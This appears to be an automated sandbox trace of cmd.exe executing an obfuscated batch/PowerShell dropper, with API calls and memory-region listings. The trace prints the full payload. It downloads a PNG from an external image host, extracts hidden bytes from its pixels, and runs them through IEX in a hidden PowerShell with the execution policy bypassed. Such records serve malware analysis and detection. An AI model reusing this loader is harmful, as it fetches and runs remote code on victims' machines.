	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4fe, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e500, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e502, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e504, cchWideChar=1 | out: lpWideCharStr="x") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.688] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e506, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.688] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.688] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.688] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e508, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.688] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.688] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.688] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e50a, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.688] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.688] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.688] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e50c, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0058.688] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.688] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.688] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e50e, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.688] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.688] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.688] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e510, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.690] GetEnvironmentVariableW (in: lpName="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="CD") returned 24
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="ERRORLEVEL") returned 22
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="CMDEXTVERSION") returned 24
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="CMDCMDLINE") returned 24
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="DATE") returned 23
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="TIME") returned 7
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="RANDOM") returned 9
	[0058.690] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="HIGHESTNUMANODENUMBER") returned 19
	[0058.691] GetEnvironmentVariableW (in: lpName="adizY", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0058.691] _wcsicmp (_String1="adizY", _String2="CD") returned -2
	[0058.691] _wcsicmp (_String1="adizY", _String2="ERRORLEVEL") returned -4
	[0058.691] _wcsicmp (_String1="adizY", _String2="CMDEXTVERSION") returned -2
	[0058.691] _wcsicmp (_String1="adizY", _String2="CMDCMDLINE") returned -2
	[0058.691] _wcsicmp (_String1="adizY", _String2="DATE") returned -3
	[0058.691] _wcsicmp (_String1="adizY", _String2="TIME") returned -19
	[0058.691] _wcsicmp (_String1="adizY", _String2="RANDOM") returned -17
	[0058.691] _wcsicmp (_String1="adizY", _String2="HIGHESTNUMANODENUMBER") returned -7
	[0058.692] _wcsicmp (_String1="set", _String2=")") returned 74
	[0058.692] _wcsicmp (_String1="FOR", _String2="set") returned -13
	[0058.692] _wcsicmp (_String1="FOR/?", _String2="set") returned -13
	[0058.692] _wcsicmp (_String1="IF", _String2="set") returned -10
	[0058.692] _wcsicmp (_String1="IF/?", _String2="set") returned -10
	[0058.692] _wcsicmp (_String1="REM", _String2="set") returned -1
	[0058.692] _wcsicmp (_String1="REM/?", _String2="set") returned -1
	[0058.696] GetConsoleOutputCP () returned 0x1b5
	[0058.696] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.696] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.696] GetConsoleTitleW (in: lpConsoleTitle=0x1cf650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0058.696] _wcsicmp (_String1="set", _String2="DIR") returned 15
	[0058.696] _wcsicmp (_String1="set", _String2="ERASE") returned 14
	[0058.696] _wcsicmp (_String1="set", _String2="DEL") returned 15
	[0058.696] _wcsicmp (_String1="set", _String2="TYPE") returned -1
	[0058.696] _wcsicmp (_String1="set", _String2="COPY") returned 16
	[0058.697] _wcsicmp (_String1="set", _String2="CD") returned 16
	[0058.697] _wcsicmp (_String1="set", _String2="CHDIR") returned 16
	[0058.697] _wcsicmp (_String1="set", _String2="RENAME") returned 1
	[0058.697] _wcsicmp (_String1="set", _String2="REN") returned 1
	[0058.697] _wcsicmp (_String1="set", _String2="ECHO") returned 14
	[0058.697] _wcsicmp (_String1="set", _String2="SET") returned 0
	[0058.710] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe - set   suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))") returned 1
	[0058.710] _wcsnicmp (_String1="su", _String2="/A", _MaxCount=0x2) returned 68
	[0058.710] _wcsnicmp (_String1="su", _String2="/P", _MaxCount=0x2) returned 68
	[0058.713] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 1
	[0058.713] GetConsoleTitleW (in: lpConsoleTitle=0x1cf590, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0058.714] SetConsoleTitleW (lpConsoleTitle="seT   aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  |POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     ^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  ") returned 1
	[0058.714] _wcsnicmp (_String1="aD", _String2="/A", _MaxCount=0x2) returned 50
	[0058.714] _wcsnicmp (_String1="aD", _String2="/P", _MaxCount=0x2) returned 50
	[0058.716] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 1
	[0058.716] GetConsoleTitleW (in: lpConsoleTitle=0x1cf590, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0058.716] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.716] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0058.717] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.717] SetConsoleTitleW (lpConsoleTitle="cmd.exE    /c %adizY%   ") returned 1
	[0058.718] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cee98, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cee58 | out: lpAttributeList=0x1cee98, lpSize=0x1cee58) returned 1
	[0058.718] UpdateProcThreadAttribute (in: lpAttributeList=0x1cee98, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cee48, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cee98, lpPreviousValue=0x0) returned 1
	[0058.718] GetStartupInfoW (in: lpStartupInfo=0x1cefb0 | out: lpStartupInfo=0x1cefb0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="cmd ; ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3d, hStdOutput=0x1fb3870, hStdError=0x1fb3870)) 
	[0058.718] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exE    /c %adizY%   ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ceed0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="cmd.exE    /c %adizY%   ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cee80 | out: lpCommandLine="cmd.exE    /c %adizY%   ", lpProcessInformation=0x1cee80*(hProcess=0x54, hThread=0x50, dwProcessId=0xb80, dwThreadId=0xb84)) returned 1
	[0058.723] CloseHandle (hObject=0x50) returned 1
	[0058.723] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0058.723] GetEnvironmentStringsW () returned 0x1f7dc00*
	[0058.723] FreeEnvironmentStringsW (penv=0x1f7dc00) returned 1
	[0058.723] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77c40000
	[0058.723] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryInformationProcess") returned 0x77c914a0
	[0058.723] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1ce788, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1ce788, ReturnLength=0x0) returned 0x0
	[0058.723] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1ce7c0, nSize=0x380, lpNumberOfBytesRead=0x1ce780 | out: lpBuffer=0x1ce7c0*, lpNumberOfBytesRead=0x1ce780*=0x380) returned 1
	[0058.724] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0074.448] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1cedc8 | out: lpExitCode=0x1cedc8*=0x0) returned 1
	[0074.448] CloseHandle (hObject=0x54) returned 1
	[0074.448] _vsnwprintf (in: _Buffer=0x1cf038, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cedd8 | out: _Buffer="00000000") returned 8
	[0074.448] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0074.451] GetEnvironmentStringsW () returned 0x29bd80*
	[0074.452] FreeEnvironmentStringsW (penv=0x29bd80) returned 1
	[0074.452] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0074.452] GetEnvironmentStringsW () returned 0x29bd80*
	[0074.452] FreeEnvironmentStringsW (penv=0x29bd80) returned 1
	[0074.452] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cee98 | out: lpAttributeList=0x1cee98) 
	[0074.452] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 1
	[0074.453] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.453] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0074.453] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.453] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0074.453] _get_osfhandle (_FileHandle=0) returned 0x58
	[0074.453] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0074.453] GetConsoleOutputCP () returned 0x1b5
	[0074.453] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0074.453] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0074.454] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf478 | out: _Buffer="\r\n") returned 2
	[0074.454] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.454] GetFileType (hFile=0x7) returned 0x2
	[0074.455] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0074.455] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf408 | out: lpMode=0x1cf408) returned 1
	[0074.455] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.455] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf448, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1cf448*=0x2) returned 1
	[0074.455] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0074.455] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0074.455] _vsnwprintf (in: _Buffer=0x49e6eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf488 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25
	[0074.456] _vsnwprintf (in: _Buffer=0x49e6eb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x1cf488 | out: _Buffer=">") returned 1
	[0074.456] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.456] GetFileType (hFile=0x7) returned 0x2
	[0074.456] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0074.456] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf438 | out: lpMode=0x1cf438) returned 1
	[0074.456] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.456] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e6eb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x1cf478, lpReserved=0x0 | out: lpBuffer=0x49e6eb60*, lpNumberOfCharsWritten=0x1cf478*=0x1a) returned 1
	[0074.456] _get_osfhandle (_FileHandle=0) returned 0x58
	[0074.456] GetFileType (hFile=0x58) returned 0x3
	[0074.456] _get_osfhandle (_FileHandle=0) returned 0x58
	[0074.456] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.456] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320, lpNumberOfBytesRead=0x1cf778*=0x0, lpOverlapped=0x0) returned 0
	[0074.456] GetLastError () returned 0x6d
	[0074.457] _get_osfhandle (_FileHandle=0) returned 0x58
	[0074.457] GetFileType (hFile=0x58) returned 0x3
	[0074.457] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.457] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0074.457] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.457] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0074.457] _get_osfhandle (_FileHandle=0) returned 0x58
	[0074.457] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0074.457] longjmp () 
	[0074.467] exit (_Code=0) 

Process:
	id = "13"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x529d9000"
	os_pid = "0xb80"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xb78"
	cmd_line = "cmd.exE    /c %adizY%   "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1329
	        start_va = 0x10000
	          end_va = 0x44fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1330
	        start_va = 0x50000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 1331
	        start_va = 0x150000
	          end_va = 0x153fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 1332
	        start_va = 0x160000
	          end_va = 0x160fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 1333
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1334
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1335
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1336
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1337
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1338
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1339
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1340
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1341
	        start_va = 0x190000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 1342
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1343
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1344
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1345
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1346
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1347
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1348
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1349
